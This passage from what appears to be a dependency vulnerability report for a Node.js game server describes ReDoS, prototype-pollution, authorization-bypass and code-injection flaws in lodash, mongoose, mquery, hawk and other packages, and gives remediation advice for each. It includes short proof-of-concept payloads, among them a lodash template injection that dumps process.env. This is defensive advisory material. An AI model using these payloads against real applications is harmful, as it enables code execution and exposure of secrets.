  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade tough-cookie to version 2.3.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: unset-value
  • Introduced through: swagger-jsdoc@1.10.3

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade unset-value to version 2.0.1 or higher.

References

high severity

Authorization Bypass

  • Vulnerable module: express-jwt
  • Introduced through: express-jwt@3.4.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer express-jwt@3.4.0
    Remediation: Upgrade to express-jwt@6.0.0.

Overview

express-jwt is a JWT authentication middleware.

Affected versions of this package are vulnerable to Authorization Bypass. The algorithms entry to be specified in the configuration is not being enforced. When algorithms is not specified in the configuration, with the combination of jwks-rsa, it may lead to authorization bypass.

Remediation

Upgrade express-jwt to version 6.0.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: hawk
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 hawk@3.1.3
    Remediation: Upgrade to request@2.87.0.

Overview

hawk is a library for the HTTP Hawk Authentication Scheme.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in header parsing where each added character in the attacker's input increases the computation time exponentially.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade hawk to version 9.0.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@3.10.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer lodash@3.10.1
    Remediation: Upgrade to lodash@4.17.12.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

PoC by Snyk

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

For more information, check out our blog post

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.12 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@3.10.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer lodash@3.10.1
    Remediation: Upgrade to lodash@4.17.17.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.

PoC

lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@3.10.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer lodash@3.10.1
    Remediation: Upgrade to lodash@4.17.11.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash.set
  • Introduced through: express-jwt@3.4.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer express-jwt@3.4.0 lodash.set@4.3.2

Overview

lodash.set is a lodash method _.set exported as a Node.js module.

Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.

Note

lodash.set is not maintained for a long time. It is recommended to use lodash library, which contains the fix since version 4.17.17.

PoC

lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for lodash.set.

References

high severity

Prototype Pollution

  • Vulnerable module: mquery
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21 mquery@2.3.3
    Remediation: Upgrade to mongoose@5.11.7.

Overview

mquery is an Expressive query building for MongoDB

Affected versions of this package are vulnerable to Prototype Pollution via the merge function within lib/utils.js. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

   require('./env').getCollection(function(err, collection) {
      assert.ifError(err);
      col = collection;
      done();
    });
    var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
    var m = mquery(payload);
    console.log({}.polluted);
// The empty object {} will have a property called polluted which will print vulnerable

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mquery to version 3.2.3 or higher.

References

high severity

Code Injection

  • Vulnerable module: lodash
  • Introduced through: lodash@3.10.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer lodash@3.10.1
    Remediation: Upgrade to lodash@4.17.21.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Code Injection via template.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: mongoose
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21
    Remediation: Upgrade to mongoose@5.13.15.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution in the Schema.path() function.

Note: CVE-2022-24304 is a duplicate of CVE-2022-2564.

PoC:

const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString())

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

